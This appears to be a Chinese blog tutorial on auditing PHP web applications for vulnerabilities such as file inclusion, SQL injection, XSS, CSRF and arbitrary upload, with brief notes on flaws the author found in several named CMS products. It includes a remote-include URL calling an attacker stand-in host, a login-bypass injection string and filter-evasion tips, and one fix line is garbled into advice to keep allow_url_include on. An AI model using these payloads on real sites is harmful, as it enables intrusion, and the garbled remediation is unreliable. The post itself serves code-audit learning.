0x00 背景
感谢各位的评论与讨论，经过研讨的地方在文章中标出。
补充之前第一篇文章中思路，重新加入了最近发现的一些实例(也有部分来自wooyun上的牛人们已公开的漏洞，漏洞归属原作者并均在文章内标明)
在文章中的测试条件下，我们的配置默认是这样子的：
safe_mode = off (避免各种奇奇怪怪的失败);disabled_functions = N/A ( 可以使用全部函数，免得莫名其妙的不能用 );register_globals = on ( 注册全局变量 );allow_url_include = on ( 文件包含时的限制，如果关了就不能远程 ); allow_url_fopen = on ( 文件打开的限制，还是开着吧 ) ;magic_quotes_gpc = off ( 转义引号和划线和空字符，比如” 变成“ );short_tag_open = on ( 部分脚本会用到 ) ;file_uploads = on ( 任意文件上传需要……允许上传文件 ); display_errors = on ( 自己测试时方便，找错误 ) 。
**
0x01 任意文件包含
**
前提：允许url_include，否则就需要上传到绝对路径。
提示：可以使用空字节(截断)的技巧，和“?”问号的使用技巧。
php中有四个函数与文件包含有关：
require require_once 只包含一次 include include_once 只包含一次。
使用空字节的例子：
使用“?”问号的例子：
http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt?logged=1
http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt?logged=1
如何修复：allow_url_include = on allow_url_fopen = on
简单来说：不要允许特殊字符出现，过滤“/”，或者过滤http，https，ftp和SMB
再举一个乌云上Frears的例子：
还有一些特殊的思路，比如Joker的构造：
挖掘的可能方法：全局搜索四个函数，先只管出现在文件中间的require等前后文是否有严格的验证，之后在通读时注意文件前部的include。
**
0x02 本地文件包含
**
提示：在windows系统下面我们可以用 ".." 来代替 "../" 即 "..%5C" ( url编码后 )。
利用的例子：
修复方式：过滤点和斜杠。
**
0x03 任意文件下载
**
前提：url_fopen为on时才能打开远程文件，但一般意义上的任意文件下载不是“远程“的，
相比上一篇文章补充：
file_get_contents 读取整个文件到字符串中；readfile 显示整个文件；file 读进数组；fopen 打开文件或URL； highlight_file 高亮显示源码；show_source 显示源代码。
例子同上一篇文章。
**
0x04 SQL注入
**
前提：magic_quotes_gpc = off 当然指的是字符型的注射，如果是数字型就仍然可以盲注。
补充登陆绕过的情况：
这时利用时会方便很多：username : admin ' or ' 1=1 password : sirgod
挖掘方法：在登陆逻辑处发现注射，不急着跑表，可以考虑绕过登陆。
**
0x05 命令执行
**
具体请参考《高级PHP应用程序漏洞审核技术》(Ph4nt0m Security Team)
**
0x06 跨站脚本漏洞XSS
**
fromCharCode用来绕过addslashes。
挖掘方法：关注负责输出的代码，牢记之前程序处理变量的一般逻辑(过滤html标签的力度？)。
**
0x07 变量覆盖
**
前提：需要register_gloabals = on
免认证即登陆。
**
0x08 admin节点可被越权访问
**
http://127.0.0.1/admin/files.php http://127.0.0.1/admin/db_lookup.php
http://127.0.0.1/admin/files.php http://127.0.0.1/admin/db_lookup.php
若是无身份验证直接就能访问，可能存在此漏洞。
挖掘方法：先开register_gloabals = on ，然后留意第一次出现的变量。
**
0x09 跨站点请求伪造CSRF
**
前提：没有token 一般结合XSS来做。
会导致文件删除，当然，需要过check_auth，不过在CSRF下不是问题，
关键是在于操作没有任何类型的确认，只要提交请求即可见效。
**
0x10 参考文献
**
部分内容参考自【英文】 http://www.exploit-db.com/papers/12871/ Name : Finding vulnerabilities in PHP scripts FULL ( with examples ) Author : SirGod
以下是最新自己发现的例子
**
0x11 CSCMS V3.5 最新版 SQL注射
**
**
0x12 MacCMS 全版本通杀SQL注射(包括最新7.x)
**
也是重构了代码，加入了360的防护脚本，其实在我发上一个漏洞(6.x)时这个7.x刚好发布，我稍微看了一眼，发现有360防护脚本后就不看了，以为他们肯定全都过滤掉了，直到…… 比较有趣的是他们根本没有在referer上使用360的获取方式，而是直接return $_SERVER["HTTP_REFERER"]; 了 因此提醒大家，代码审计就是要仔细，就是要有超人般的耐心，不要想当然。
**
0x13 WanCMS 可修改任意用户密码
**
终于又发现了一个敏感业务逻辑上的漏洞
唠叨两句密码学：
MD5、SHA 是哈希函数，知道$a后容易知道md5($a)，而知道md5($a)难以恢复$a Des 是对称密码，加解密使用同一个密钥。
这里的密码重置链接 使用的是MD5(两遍)，但是用户名我们是知道的，因此直接就能伪造，这也说明了md5并不是用来加密的，应该用DES或者……更常见的方法是MD5中的用户名再加入密码和随机数，或者干脆随机一串字符好了。
**
0x14 WanCMS 多处SQL注射
**
又是一个框架中注射的例子......
之前username没有过滤，虽然看着和带着SELECT的完整SQL语句有区别，但是效果是一样的
**
0x15 CSCMS V3.5 最新补丁后又一个SQL注射
**
这个就是一个厂商漏补的addslash+无引号盲注但是比较有新意的是，他们好像有一阵是用的magic_quotes_gpc来处理的，只是给数字补上了好多的引号，而且还漏了几个……
**
0x16 TCCMS (最新)8.0 后台GETSHELL
**
任意文件上传，前提是upload为ON。
居然直接从POST里面取。
一般情况下应该是uuid随机数名称，或者至少去不可见字符强加后缀。
直接从POST中取值的下场就是任意文件上传。
**
0x17 iSiteCMS发布安全补丁后仍然有几处注射漏洞
**
这个注射有一个特别之处，就是过滤了逗号(，)，因此跑表时非常不顺利，需要想其他的方法来验证危害
没错，这一句干掉了逗号。
解决方案：不跑表了，试着构造错误回显(因为常规那页面是没有回显的)直接爆管理员密码。
思路总结：变量到达第一个注射语句没有逗号无法突破无法回显，坚持继续读，程序能继续运行，然后发现下面还有一句也会被注射到，然后注射到的结果又拼接到另一个SQL语句中，而报错又是开启状态，因此构造一下在SQL报错的地方回显出密码。
**
0x18 CSCMS V3.5 最新版 后台命令执行GETSHELL
**
1万+
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
